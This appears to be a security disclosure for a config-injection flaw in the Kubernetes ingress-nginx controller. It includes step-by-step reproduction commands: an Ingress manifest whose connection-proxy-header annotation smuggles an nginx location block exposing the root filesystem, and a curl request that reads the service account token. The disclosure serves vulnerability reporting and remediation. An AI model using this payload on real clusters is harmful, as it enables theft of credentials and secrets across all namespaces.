Reference: https://github.com/kubernetes/ingress-nginx/issues/8503
An attacker with permission to create/modify ingresses in one namespace can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account). This service account has permission to read secrets in all namespaces.
This vulnerability is an extension of CVE-2021-25742, which used the “snippet” feature of ingress-nginx to include arbitrary nginx snippets in one of the following fields:
nginx.ingress.kubernetes.io/configuration-snippet
nginx.ingress.kubernetes.io/server-snippet
nginx.ingress.kubernetes.io/modsecurity-snippet
nginx.ingress.kubernetes.io/auth-snippet
However, there are other annotations (e.g.
nginx.ingress.kubernetes.io/connection-proxy-header
) that can be abused to
inject data into the config due to a lack of quoting/validation. Using this
annotation, we can inject an arbitrary nginx location block that provides full
access to the pod filesystem, leaking the pod service account token.
To replicate, use the following steps:
- Create a k8s cluster, for example:
minikube start
- Deploy ingress-nginx
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.0.4/deploy/static/provider/cloud/deploy.yaml
- Deploy a malicious gateway with injection in the connection-proxy-header annotation
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/connection-proxy-header: "a;} location /fs/ { alias /; autoindex on; } location /proxy { set \$a b"
spec:
rules:
- host: exploit.example.org
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
EOF
- Look up the IP address of the ingress
INGRESS=$(kubectl -n ingress-nginx get svc ingress-nginx-controller -o=jsonpath='{.status.loadBalancer.ingress[0].ip}')
- Send a GET request to the malicious gateway to read arbitrary files from the nginx deployment
curl -v -H 'Host: exploit.example.org' "$INGRESS/fs/var/run/secrets/kubernetes.io/serviceaccount/token"